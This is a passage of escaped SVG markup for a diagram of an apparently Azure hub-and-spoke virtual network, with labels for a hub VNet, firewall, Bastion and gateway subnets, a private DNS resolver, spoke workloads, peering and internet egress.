200,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,80 L 352,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,128 L 200,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,128 L 352,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 400,144 L 448,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 448,144 L 560,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,160 L 352,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,192 L 352,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 416,208 L 544,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,224 L 200,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,224 L 352,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 416,240 L 544,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,256 L 376,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 400,256 L 560,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,304 L 200,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,304 L 352,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,336 L 352,336' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 24,352 L 200,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,352 L 296,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 296,352 L 376,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 400,368 L 448,368' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 448,368 L 560,368' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 72,400 L 200,400' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,400 L 232,400' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 264,400 L 296,400' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 296,400 L 368,400' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 72,432 L 232,432' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 264,432 L 368,432' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 416,432 L 544,432' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 416,464 L 544,464' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 400,480 L 560,480' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 24,0 L 24,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,48 L 48,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,128 L 48,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,192 L 48,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 48,304 L 48,336' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 72,400 L 72,432' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,80 L 200,112' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,112 L 200,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,224 L 200,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,256 L 200,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,288 L 200,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,352 L 200,384' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,384 L 200,400' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 232,400 L 232,432' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 264,400 L 264,432' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 296,352 L 296,384' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 296,384 L 296,400' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,48 L 352,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,128 L 352,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,192 L 352,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 352,304 L 352,336' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 368,400 L 368,432' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,0 L 376,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,80 L 376,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,256 L 376,352' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 400,144 L 400,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 400,368 L 400,480' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 416,208 L 416,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 416,432 L 416,464' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 448,80 L 448,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 448,272 L 448,368' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 544,208 L 544,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 544,432 L 544,464' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 560,144 L 560,256' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 560,368 L 560,480' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,48 L 376,56' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,72 L 376,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 200,112 L 200,120' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='216.000000,112.000000 204.000000,106.400002 204.000000,117.599998' fill='currentColor' transform='rotate(90.000000, 200.000000, 112.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 200,288 L 200,296' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='216.000000,288.000000 204.000000,282.399994 204.000000,293.600006' fill='currentColor' transform='rotate(90.000000, 200.000000, 288.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 200,384 L 200,392' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='216.000000,384.000000 204.000000,378.399994 204.000000,389.600006' fill='currentColor' transform='rotate(90.000000, 200.000000, 384.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 296,384 L 296,392' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='312.000000,384.000000 300.000000,378.399994 300.000000,389.600006' fill='currentColor' transform='rotate(90.000000, 296.000000, 384.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='368.000000,64.000000 356.000000,58.400002 356.000000,69.599998' fill='currentColor' transform='rotate(180.000000, 360.000000, 64.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 448,264 L 448,272' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='464.000000,272.000000 452.000000,266.399994 452.000000,277.600006' fill='currentColor' transform='rotate(270.000000, 448.000000, 272.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='40' y='20' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='20' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='20' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='68' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='148' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='212' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='324' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='20' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='68' fill='currentColor' style='font-size:1em'\u003ez\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='148' fill='currentColor' style='font-size:1em'\u003ez\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='212' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='324' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='20' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='68' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='148' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='212' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='324' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='20' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='68' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='148' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='212' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='324' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='20' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='212' fill='currentColor' style='font-size:1em'\u003ew\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='324' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='388' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='212' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='324' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='388' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='420' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='20' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='68' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='148' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='212' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='324' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='388' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='420' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='68' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='148' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='388' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='420' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='20' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='68' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='148' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='212' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='324' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='388' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='420' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='20' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='212' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='324' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='388' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='420' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='20' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='68' fill='currentColor' style='font-size:1em'\u003ew\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='148' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='212' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='324' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='420' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='20' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='68' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='148' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='212' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='420' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='20' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='68' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='148' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='212' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='324' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='420' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='20' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='68' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='212' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='324' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='420' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='20' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='148' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='324' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='420' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='20' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='68' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='148' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='212' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='324' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='420' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='20' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='68' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='148' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='212' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='324' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='20' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='68' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='148' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='212' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='324' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='20' fill='currentColor' style='font-size:1em'\u003e6\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='68' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='212' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='324' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='324' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='224' y='68' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='240' y='68' fill='currentColor' style='font-size:1em'\u003e(\u003c/text\u003e\n\u003ctext text-anchor='middle' x='248' y='68' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='256' y='68' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='264' y='68' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' y='420' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='420' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='420' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='420' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='420' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='388' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='420' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='388' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='420' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='388' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='420' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='388' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='388' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='388' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='164' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='180' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='388' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='404' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='164' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='180' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='228' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='388' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='404' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='452' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='164' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='180' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='228' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='388' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='404' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='452' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='164' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='180' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='228' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='388' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='404' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='452' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='180' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='228' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='388' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='404' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='452' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='180' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='228' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='404' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='452' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='116' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='164' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='180' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='228' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='308' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='388' fill='currentColor' style='font-size:1em'\u003eV\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='404' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='452' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='164' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='180' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='228' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='308' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='388' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='404' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='452' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='180' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='228' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='308' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='388' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='404' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='452' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='116' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='164' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='180' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='308' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='388' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='404' fill='currentColor' style='font-size:1em'\u003e/\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='116' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='180' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='228' fill='currentColor' 